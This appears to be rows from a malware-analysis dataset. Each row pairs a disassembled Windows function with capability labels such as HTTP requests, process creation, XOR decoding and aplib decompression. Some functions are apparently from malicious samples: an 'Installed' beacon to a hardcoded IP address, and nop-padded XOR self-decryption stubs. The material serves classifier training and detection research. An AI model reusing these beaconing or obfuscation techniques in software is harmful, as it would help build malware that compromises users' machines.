joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40117b
Capabilities:
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x403208], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x40320c], eax
call sub.comctl32.dll_InitCommonControls
mov dword [0x403200], 8
mov dword [0x403204], 0x1fc0
push 0x403200
call sub.comctl32.dll_InitCommonControlsEx
push 0xa
push dword [0x40320c]
push 0
push dword [0x403208]
call 0x40117b
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x401262
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x403208]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.MainWinClass
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push 0
push 0
push 0x1c2
push 0xe1
push 0x80000000
push 0x80000000
push 0xcf0000
push str.IoEXML_Writer_Parser
push str.MainWinClass
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push 1
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x40125b
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x401234
mov eax, dword [ebp - 0x44]
leave
ret 0x10

Function at 0x401ad2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401b39
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
push eax
inc eax
push eax
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
push dword [ebp - 8]
call sub.kernel32.dll_GlobalLock
pop edx
push 0
lea eax, [ebp - 0xc]
push eax
push edx
push dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
jmp 0x401b51
push 0x10
push str.IoEXML_Writer_Parser
push str.Can_not_Open_XML_File
push 0
call sub.user32.dll_MessageBoxA
mov eax, 0
leave
ret 4
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
push 0
push 0
push 0x403180
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401051
push 0
push 0
push 0
push 0
push str.http:__193.3.19.247_Installed
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401070
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x4010e1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401118
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x401116
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401118
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401120
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_110.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4011b8
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4011ae
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x20000005
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x10], 0x1388
jbe 0x4011a4
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, dword [edx]
je 0x4011a4
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x401480
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x40448c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x418]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x418]
push ecx
push str._s2535235.jpg
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4014dd
xor al, al
jmp 0x401517
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xffffffff
je 0x401515
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402086
mov esp, ebp
pop ebp
ret
Function at 0x402086
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40448c]
jne 0x402090
repz ret
jmp fcn.004023b7
Function at 0x42e003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x145118c5
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, str.bM
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x627d23d5
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x818058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.008181a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x81807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x81806a
add dl, dl
jne 0x818089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8180dc
xor eax, eax
add dl, dl
jne 0x818096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x81817d
add dl, dl
jne 0x8180a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8180d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x818075
mov eax, 1
add dl, dl
jne 0x8180ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8180f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8180e1
sub eax, ebx
mov ebx, 1
jne 0x818128
mov ecx, 1
add dl, dl
jne 0x81810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x818119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x818105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x81813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x81814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x818136
cmp eax, 0x7d00
jae 0x81816d
cmp eax, 0x500
jb 0x818168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
cmp eax, 0x7f
ja 0x818170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x818075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x81819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x818075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0xe60604
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe6060e
pushal
call 0xe60614
pop ebp
sub ebp, 0x10
sub ebp, 0xa60604
jmp 0xe6062a
mov eax, 0xa60604
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b0
mov edx, 0xf6cc3212
xor byte [eax], dl
inc eax
dec ecx
jne 0xe60641
jmp 0xe60654
cdq
fistp word [ecx + 0x12122e9b]
adc dl, byte [ebx + 0x1212ead3]
adc dl, byte [ecx]
fild qword [edx + 0x12121217]
test al, 0x3a
adc dl, byte [edx]
adc ah, ch
invalid
Function at 0x40e980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x449f30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
mov edi, ecx
mov dword [esp + 8], edi
mov dword [esp + 0x18], 0
lea esi, [edi + 0x76c]
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x98]
mov byte [esp + 0x18], 5
call fcn.00424081
lea ecx, [esi + 0x5c]
mov byte [esp + 0x18], 4
call fcn.00424081
mov ecx, esi
mov byte [esp + 0x18], 3
call fcn.0043bd89
lea esi, [edi + 0x698]
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x98]
mov byte [esp + 0x18], 7
call fcn.00443c05
lea ecx, [esi + 0x5c]
mov byte [esp + 0x18], 6
call fcn.00443c05
mov ecx, esi
mov byte [esp + 0x18], 2
call fcn.0043bd89
lea esi, [edi + 0x160]
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x534]
mov byte [esp + 0x18], 0x25
call fcn.0043fca4
lea ecx, [esi + 0x52c]
mov byte [esp + 0x18], 0x24
call fcn.0043fca4
lea ecx, [esi + 0x528]
mov byte [esp + 0x18], 0x23
call fcn.0043fca4
lea ecx, [esi + 0x524]
mov byte [esp + 0x18], 0x22
call fcn.0043fca4
mov byte [esp + 0x18], 0x21
lea ecx, [esi + 0x520]
call fcn.0043fca4
lea ecx, [esi + 0x51c]
mov byte [esp + 0x18], 0x20
call fcn.0043fca4
lea ecx, [esi + 0x518]
mov byte [esp + 0x18], 0x1f
call fcn.0043fca4
lea ecx, [esi + 0x514]
mov byte [esp + 0x18], 0x1e
call fcn.0043fca4
lea ecx, [esi + 0x510]
mov byte [esp + 0x18], 0x1d
call fcn.0043fca4
lea ecx, [esi + 0x50c]
mov byte [esp + 0x18], 0x1c
call fcn.0043fca4
lea ecx, [esi + 0x4d0]
mov byte [esp + 0x18], 0x1b
call fcn.004439ff
lea ecx, [esi + 0x494]
mov byte [esp + 0x18], 0x1a
call fcn.00443b1b
lea ecx, [esi + 0x458]
mov byte [esp + 0x18], 0x19
call fcn.00443c05
lea ecx, [esi + 0x41c]
mov byte [esp + 0x18], 0x18
call fcn.00443c05
lea ecx, [esi + 0x3e0]
mov byte [esp + 0x18], 0x17
call fcn.00443c05
lea ecx, [esi + 0x3a4]
mov byte [esp + 0x18], 0x16
call fcn.00443c05
lea ecx, [esi + 0x368]
mov byte [esp + 0x18], 0x15
call fcn.00443c05
lea ecx, [esi + 0x32c]
mov byte [esp + 0x18], 0x14
call fcn.00443c05
lea ecx, [esi + 0x2f0]
mov byte [esp + 0x18], 0x13
call fcn.00443c05
lea ecx, [esi + 0x2b4]
mov byte [esp + 0x18], 0x12
call fcn.00443c05
lea ecx, [esi + 0x278]
mov byte [esp + 0x18], 0x11
call fcn.00443c05
lea ecx, [esi + 0x23c]
mov byte [esp + 0x18], 0x10
call fcn.00443971
lea ecx, [esi + 0x200]
mov byte [esp + 0x18], 0xf
call fcn.00443971
lea ecx, [esi + 0x1c4]
mov byte [esp + 0x18], 0xe
call fcn.00443971
lea ecx, [esi + 0x188]
mov byte [esp + 0x18], 0xd
call fcn.00443971
lea ecx, [esi + 0x14c]
mov byte [esp + 0x18], 0xc
call fcn.00443971
lea ecx, [esi + 0x110]
mov byte [esp + 0x18], 0xb
call fcn.00443971
lea ecx, [esi + 0xd4]
mov byte [esp + 0x18], 0xa
call fcn.00443971
lea ecx, [esi + 0x98]
mov byte [esp + 0x18], 9
call fcn.00443971
lea ecx, [esi + 0x5c]
mov byte [esp + 0x18], 8
call fcn.00443971
mov ecx, esi
mov byte [esp + 0x18], 1
call fcn.0043bd89
mov byte [esp + 0x18], 0
lea ecx, [edi + 0x5c]
call fcn.0041fae0
mov ecx, edi
mov dword [esp + 0x18], 0xffffffff
call fcn.0043bd89
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4111d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x44a47f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [esp + 0x2c], 0
mov dword [esp + 0x38], 1
mov eax, dword [0x530d78]
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x44]
mov byte [esp + 0x38], 7
push eax
call fcn.0042bbd1
add esp, 4
lea ecx, [esp + 0x44]
mov ebx, eax
push ecx
lea ecx, [esp + 0x14]
call fcn.0043fddd
mov edx, dword [esp + 0x48]
push edx
call fcn.0042bbd1
add esp, 4
mov edi, eax
lea eax, [esp + 0x48]
lea ecx, [esp + 0x14]
push eax
call fcn.0043fddd
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.0042bbd1
mov esi, eax
lea edx, [esp + 0x10]
dec esi
push esi
push str._02d
push edx
call fcn.0043a838
add esp, 0x10
test esi, esi
jne 0x4112fa
cmp edi, 1
jne 0x4112a3
dec ebx
lea eax, [esp + 0x10]
push ebx
push 0x460230
push eax
call fcn.0043a838
add esp, 0xc
lea ecx, [esp + 0xc]
mov edi, 0xc
push 0x52fad8
call fcn.0043fe2d
lea eax, [edi - 2]
cmp eax, 0xa
ja case.default.0x4112ab
jmp dword [eax*4 + 0x411424]
push 0x52fad8
jmp 0x4112dd
and ebx, 0x80000003
jns 0x4112c6
dec ebx
or ebx, 0xfffffffc
inc ebx
test ebx, ebx
jle 0x4112d1
push 0x52fad4
jmp 0x4112dd
push 0x52fad0
jmp 0x4112dd
push 0x52facc
lea ecx, [esp + 0x10]
call fcn.0043fe2d
dec edi
lea ecx, [esp + 0x14]
push edi
push 0x52fac8
push ecx
call fcn.0043a838
add esp, 0xc
lea edx, [esp + 0x10]
push 0x52fac4
lea eax, [esp + 0x2c]
push edx
push eax
call fcn.0043ff39
lea ecx, [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push eax
push edx
mov byte [esp + 0x44], 8
call fcn.0043fed3
push 0x52fac4
push eax
lea eax, [esp + 0x28]
mov bl, 9
push eax
mov byte [esp + 0x44], bl
call fcn.0043ff39
lea ecx, [esp + 0xc]
lea edx, [esp + 0x1c]
push ecx
push eax
push edx
mov byte [esp + 0x44], 0xa
call fcn.0043fed3
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3c], 0xb
call fcn.0043fddd
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 0xa
call fcn.0043fca4
lea ecx, [esp + 0x20]
mov byte [esp + 0x38], bl
call fcn.0043fca4
lea ecx, [esp + 0x24]
mov byte [esp + 0x38], 8
call fcn.0043fca4
lea ecx, [esp + 0x28]
mov byte [esp + 0x38], 7
call fcn.0043fca4
mov esi, dword [esp + 0x40]
lea eax, [esp + 0x18]
push eax
mov ecx, esi
call fcn.0043fa19
mov dword [esp + 0x2c], 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x38], 6
call fcn.0043fca4
lea ecx, [esp + 0x10]
mov byte [esp + 0x38], 5
call fcn.0043fca4
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 4
call fcn.0043fca4
lea ecx, [esp + 0xc]
mov byte [esp + 0x38], 3
call fcn.0043fca4
lea ecx, [esp + 0x44]
mov byte [esp + 0x38], 2
call fcn.0043fca4
lea ecx, [esp + 0x48]
mov byte [esp + 0x38], 1
call fcn.0043fca4
lea ecx, [esp + 0x4c]
mov byte [esp + 0x38], 0
call fcn.0043fca4
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x30
ret 0x10
Function at 0x439be0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0042bac0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x439cab
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x439cab
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x439c5e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x439c69
or bh, 8
and edi, 0x8000000
je 0x439c84
mov eax, dword [0x53847c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x439cab
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a080
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x43a0ab
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x43a0cf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x43a0ea
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x43bdc7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x43bde9
cmp dword [edi + 0x3c], 0
jne 0x43bde9
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00444bf4
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0043be16
pop edi
pop esi
pop ebx
ret 8

Function at 0x43d438
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x43d470
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00440098
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00440070
jmp 0x43d47c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x43ea6e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x43eab0
call fcn.00444bf4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x43eab0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x43eaa7
xor eax, eax
jmp 0x43eab8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0043eabe
pop edi
pop esi
pop ebx
ret 4

Function at 0x445222
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x445250
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44526e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00445188
jmp 0x44526e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x44526e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00445188
test edi, edi
mov eax, edi
jne 0x445258
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8